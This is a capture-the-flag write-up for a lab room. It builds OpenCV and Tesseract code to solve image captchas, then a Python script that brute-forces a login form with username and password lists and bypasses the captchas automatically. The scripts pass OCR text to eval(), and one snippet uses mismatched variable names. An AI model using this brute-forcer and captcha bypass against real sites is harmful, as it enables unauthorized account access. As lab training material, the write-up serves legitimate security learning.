Capture Returns

The developers have improved their login form since last time. Can you bypass it? - by toxicat0r


Recon

As always, we start with a Nmap scan and only have two open ports here, SSH on port 22 and a web server on port 80. The index page redirects directly to /login. The room itself also provides a zip in which we have lists of passwords and usernames. So this is about brute forcing with a trick.

Seeing the name, the room creator, and we remember there was a challenge some month ago called capture, where a captcha has to be bypassed. The captchas were simple there, just some text that could be automatically evaluated to be answered. Check out the room if you have not done yet:

A writeup of the past challenge can be found here:

We visit the login page and lo and behold SecureSolaCoders strikes back. It really is a continuation of the challenge from back then, let's see what we're up against this time.

We try to log in, but unlike before with the challenge capture, we are not able to enumerate users in advance. If the credentials are incorrect, we receive the standardized message "Error: Invalid username or password".

If not already done, download the username and password lists.

After several failed login attempts one after the other, we finally receive the captcha, this time not as text but as an image. And we have to answer three in a row. We seem to have to determine the shape of an object. Fortunately, we are also told how many shapes actually exist. After trying around several times, we also see that the images are uniform in their type.

But there is another captcha, one like in the challenge before, only this time it is also a picture.

If we look at the source, we see that the image on the screen is in base64. So we have to keep in mind that we get the images of the page as base64 and then convert them back into image files later.

We now divide our project into three sections, the first of which is to build an image checker that can identify the captchas and convert them into text. Here we will probably produce a shape and a text recognizer code. We then bring these two parts together to form a single image checker.

Then we build a brute force script that gradually checks every password for every username and uses the image checker if a captcha is requested. In some parts, we can borrow from the solution of the challenge captcha.

Preparing the Image Checker

We first download the images and prepare the image checker, which initially runs locally. Parts of the code can then be transferred to the brute-forcer script later or used directly.

Mathematical Expression Checker

Since I had nothing to do with image processing myself and this is a new field for me and I only knew the python-anticaptcha by name, I used Chat-GPT to get a basis for the code and an overview of which libraries can be used for the project to recognize formulas and shapes. After a few examples with cv2 and pytesseract, I took these modified from the GPT result and took over a snippet for the recognition of mathematical equations and adapted it slightly.

math_check.py
import cv2
import pytesseract

def process_image(image_path):
    image = cv2.imread(image_path)
    gray = cv2.cvtColor(image, cv2.COLOR_BGR2GRAY)

    # Binarize the image
    _, binary = cv2.threshold(gray, 128, 255, cv2.THRESH_BINARY + cv2.THRESH_OTSU)
    # Detect text using OCR and output if detected
    text = pytesseract.image_to_string(binary, config='--psm 6')
    if text.strip() != '':  # If there is text, we assume it's an expression
        return text.strip()
        
path = 'math.png'
print(path + '\t:\t' + process_image(path))

Below I provide the explanation from GPT:

  • The image is converted to grayscale and then binarized using thresholding. Binarization makes the text or shapes more distinct by converting the image to pure black and white.

  • The image is inverted if necessary to ensure that the text or shapes are in black and the background is white, which is a common assumption for most OCR technologies.

  • PyTesseract is applied to the binarized (and possibly inverted) image to extract text. The configuration '--psm 6' specifies the OCR’s page segmentation mode, which assumes a single uniform block of text.

  • If any text is detected (text.strip() != ""), it's assumed to be a mathematical expression and returned as such.

With the math_check.py script, we are able to transfer the mathematical expression in an image to text now. The further processing of the expression is described in the later section and is similar to the one of the challenge Capture.

Shape Checker

Next, we need the Shape Checker, and I am similar to what I did before.

shape_check.py
import cv2
import pytesseract

# Function to recognize shape in the image
def recognize_shape(contour):
    # Based on the number of vertices, define the shape
    vertices = cv2.approxPolyDP(contour, 0.04 * cv2.arcLength(contour, True), True)
    num_vertices = len(vertices)
    if num_vertices == 3:
        return "Triangle"
    elif num_vertices == 4:
        # Need to check if it's a square or a rectangle
        x, y, w, h = cv2.boundingRect(vertices)
        aspectRatio = float(w) / h
        if 0.95 <= aspectRatio <= 1.05:  # Aspect ratio of a square is approximately one
            return "Square"
        else:
            return "Rectangle"
    elif num_vertices > 4:
        return "Circle"
    return "Unknown"
    
def process_image(image_path):
    # Load the image
    image = cv2.imread(image_path)
    gray = cv2.cvtColor(image, cv2.COLOR_BGR2GRAY)
    
    # Binarize the image
    _, binary = cv2.threshold(gray, 128, 255, cv2.THRESH_BINARY + cv2.THRESH_OTSU)

    # Inverting the image if the background is white and the text/shapes are black
    if cv2.countNonZero(binary) > binary.size / 2:
        binary = cv2.bitwise_not(binary)
    # Find contours
    contours, _ = cv2.findContours(binary, cv2.RETR_EXTERNAL, cv2.CHAIN_APPROX_SIMPLE)
    
    # Assume the largest contour is the shape we want to detect
    if contours:
        largest_contour = max(contours, key=cv2.contourArea)
        shape = recognize_shape(largest_contour)
        return shape

    return "No shape or text detected"
    
image_paths = [
    'circle.png',
    'math.png',
    'square.png',
    'triangle.png'
]

for path in image_paths:
    result = process_image(path)
    if(result == 'Circle'):
        print(path + "\t:\t" + 'Circle')
    elif(result == 'Square'):
        print(path + "\t:\t" + 'Square')
    elif(result == 'Triangle'):
        print(path + "\t:\t" + 'Triangle')

Below I provide the explanation from GPT:

  • Approximation of Polygonal Curves: The function uses cv2.approxPolyDP to simplify the contour shape into a polygon with fewer vertices. This is done by specifying a precision proportional to the contour’s perimeter (0.04 * cv2.arcLength(contour, True)). The closer the approximation is to the original contour, the more accurate the shape recognition will be.

  • Vertex Counting: The function counts the number of vertices (num_vertices) of the approximated polygon to determine the shape:

    • Triangle: 3 vertices.

    • Rectangle or Square: 4 vertices. Further checks are performed to distinguish between a square and a rectangle:

      • Compute the bounding rectangle of the polygon to obtain its width (w) and height (h).

      • Calculate the aspect ratio (aspectRatio = float(w) / h). If this ratio is close to 1 (between 0.95 and 1.05), it's classified as a square; otherwise, it’s a rectangle.

    • Circle: More than 4 vertices. Technically, this is an oversimplification as true circle detection would require different techniques such as Hough Transforms or fitting an ellipse, but for simple purposes, a high vertex count suggests a rounded shape.

  • Unknown Shapes: If none of the above conditions are met, the function returns "Unknown".

The function takes a single parameter, contour, which represents the contours (the boundaries) of a shape detected in an image. The goal is to classify these contours into recognizable geometric shapes. Here’s how the function operates

With the shape_check.py script, we are able to distinguish between the shapes, and represent those shapes to text. What we see is, that the mathematical expression is also evaluated to a shape, so that we have to consider in the later script, putting it all together.

Putting It All Together

Next, we merge both scripts into one, and check first for text and then for shapes to avoid shape detection on the text. We are now able to classify images in our directory and convert them into evaluable text.

captcha_check.py
import cv2
import pytesseract

# Function to recognize shape in the image
def recognize_shape(contour):
    # Based on the number of vertices, define the shape
    vertices = cv2.approxPolyDP(contour, 0.04 * cv2.arcLength(contour, True), True)
    num_vertices = len(vertices)
    if num_vertices == 3:
        return "Triangle"
    elif num_vertices == 4:
        # Need to check if it's a square or a rectangle
        x, y, w, h = cv2.boundingRect(vertices)
        aspectRatio = float(w) / h
        if 0.95 <= aspectRatio <= 1.05:  # Aspect ratio of a square is approximately one
            return "Square"
        else:
            return "Rectangle"
    elif num_vertices > 4:
        return "Circle"
    return "Unknown"

# Function to process each image and identify the shape or mathematical expression
def process_image(image_path):
    # Load the image
    image = cv2.imread(image_path)
    gray = cv2.cvtColor(image, cv2.COLOR_BGR2GRAY)

    # Binarize the image
    _, binary = cv2.threshold(gray, 128, 255, cv2.THRESH_BINARY + cv2.THRESH_OTSU)

    # Inverting the image if the background is white and the text/shapes are black
    if cv2.countNonZero(binary) > binary.size / 2:
        binary = cv2.bitwise_not(binary)

    # Detect text using OCR and output if detected
    text = pytesseract.image_to_string(binary, config='--psm 6')
    if text.strip() != "":  # If there is text, we assume it's an expression
        return text.strip()

    # Find contours
    contours, _ = cv2.findContours(binary, cv2.RETR_EXTERNAL, cv2.CHAIN_APPROX_SIMPLE)
    
    # Assume the largest contour is the shape we want to detect
    if contours:
        largest_contour = max(contours, key=cv2.contourArea)
        shape = recognize_shape(largest_contour)
        return shape

    return "No shape or text detected"

# Paths to the images
image_paths = [
    'circle.png',
    'math.png',
    'square.png',
    'triangle.png'
]

# Process each image and print the results
for path in image_paths:
    result = process_image(path)
    if(result == 'C)'):
        print(path + "\t:\t" + 'Circle')
    elif(result == '| |'):
        print(path + "\t:\t" + 'Rectangle')
    elif(result == '/\\'):
        print(path + "\t:\t" + 'Triangle')
    else:
        print(path + "\t:\t" + result)

            

Preparing The Exploit

We first intercept the request to log in and respond to the captchas in order to construct the request in our script.

Remember, when we have a captcha in front of us, there is a base64 string in the response. This allows us to distinguish whether we need to perform a log in request or a log in request. We use our offline image recognizer as a basis. The idea is to extract the image from the response and save it temporarily on our machine. This means that no further adjustments to our checker script are necessary.

To recognize and extract the base64 string, we write a small function that extracts it using string split. We then decode this string and save it via with open in the same order in which the script is located.

def find_between(s, start, end):
    try:
        return (s.split(start))[1].split(end)[0]
    except IndexError:
        return ""

response = requests.post(_url, _data)
base64_string = find_between(response.text, ";base64,", "\">")
with open("tmp.png", "wb") as fh:
    fh.write(base64.b64decode(base64_string))

Furthermore, we must be able to evaluate our mathematical expressions. We already have a solution for this from the challenge capture. Here we remove = and ? from the detected expression and pass it to eval.

math_string = result.replace('=', '').replace('?', '')
eval_calc = eval(clean_string)
_data={'captcha':eval_calc}

The extension to brute forcing is now very simple. We go to read the lists of usernames and passwords and then go through the passwords for each user, if the response contains base64, we know that we have to answer captchas. We do this until there is no captcha image left in the response. We could also try three times in a row, but that would not be so safe in case user capture checker fails. This way, we only have to restart the check from the beginning. In our request, we also differentiate whether the error message Error: Invalid username or password appears. If this is not the case, and we do not have a captcha, we know that we have successfully logged in.

brute.py
import cv2
import pytesseract
import requests
import base64
import re
import time
import sys

_url = 'http://capture.thm/login'
_path_users_file = 'usernames.txt'
_path_passwords_file = 'passwords.txt'
_captcha_regex = r"[0-9]{1,3}\s[+\-*:\/]\s[0-9]{1,3}"
_error_regex = r"Invalid username or password"

# Function to recognize shape in the image
def recognize_shape(contour):
    # Based on the number of vertices, define the shape
    vertices = cv2.approxPolyDP(contour, 0.04 * cv2.arcLength(contour, True), True)
    num_vertices = len(vertices)
    if num_vertices == 3:
        return "Triangle"
    elif num_vertices == 4:
        # Need to check if it's a square or a rectangle
        x, y, w, h = cv2.boundingRect(vertices)
        aspectRatio = float(w) / h
        if 0.95 <= aspectRatio <= 1.05:  # Aspect ratio of a square is approximately one
            return "Square"
        else:
            return "Rectangle"
    elif num_vertices > 4:
        return "Circle"
    return "Unknown"

# Function to process each image and identify the shape or mathematical expression
def process_image(image_path):
    # Load the image
    image = cv2.imread(image_path)
    gray = cv2.cvtColor(image, cv2.COLOR_BGR2GRAY)

    # Binarize the image
    _, binary = cv2.threshold(gray, 128, 255, cv2.THRESH_BINARY + cv2.THRESH_OTSU)

    # Inverting the image if the background is white and the text/shapes are black
    if cv2.countNonZero(binary) > binary.size / 2:
        binary = cv2.bitwise_not(binary)

    # Detect text using OCR and output if detected
    text = pytesseract.image_to_string(binary, config='--psm 6')
    if text.strip() != "":  # If there is text, we assume it's an expression
        return text.strip()

    # Find contours
    contours, _ = cv2.findContours(binary, cv2.RETR_EXTERNAL, cv2.CHAIN_APPROX_SIMPLE)
    
    # Assume the largest contour is the shape we want to detect
    if contours:
        largest_contour = max(contours, key=cv2.contourArea)
        shape = recognize_shape(largest_contour)
        return shape

    return "No shape or text detected"

def update_line(new_text):
    sys.stdout.write('\r\033[K')  # Clear the entire line
    sys.stdout.write(new_text)    # Print the new text
    sys.stdout.flush() 
    
    
def find_between(s, start, end):
    try:
        return (s.split(start))[1].split(end)[0]
    except IndexError:
        return ""

with open(_path_users_file) as f:
    users = [line.rstrip() for line in f]

with open(_path_passwords_file) as f:
    passwords = [line.rstrip() for line in f]
for username in users:
    for password in passwords:
        _data = {'username':username,'password':password}
        update_line(username + " : " + password)
        response = requests.post(_url, _data)
        base64_string = find_between(response.text, ";base64,", "\">")
        if(len(re.findall(_error_regex, response.text)) == 0 and base64_string == ""):
            update_line(username + " : " + password)
            print('\n\033[92msuccessfully logged in!\033[0m')
            exit(1)
        while(base64_string):
            #print("\033[38;5;216m solving captures \033[0m", end="")
            with open("tmp.png", "wb") as fh:
                fh.write(base64.b64decode(base64_string))
            result = process_image('tmp.png')
            if(result == 'C)'):
                #print('circle')
                _data={'captcha':'circle'}
                #print("circle ", end=" ")
            elif(result == '| |'):
                #print('square')
                _data={'captcha':'square'}
               #print("square ", end=" ")
            elif(result == '/\\'):
                #print('triangle')
                _data={'captcha':'triangle'}
                #print("triangle", end=" ")
            else:
                clean_string = result.replace('=', '').replace('?', '')
                eval_calc = eval(clean_string)
                _data={'captcha':eval_calc}
                #print(result + " " + str(eval_calc), end=" ")
            time.sleep(0.200)
            response = requests.post(_url, _data)
            base64_string = find_between(response.text, ";base64,", "\">")
            

After some time, the script will inform us of a successful login. Username and password are different depending on the instance. After a reset, a different credential pair may be required to log in.

We log in with the found credentials and we get the flag.

Last updated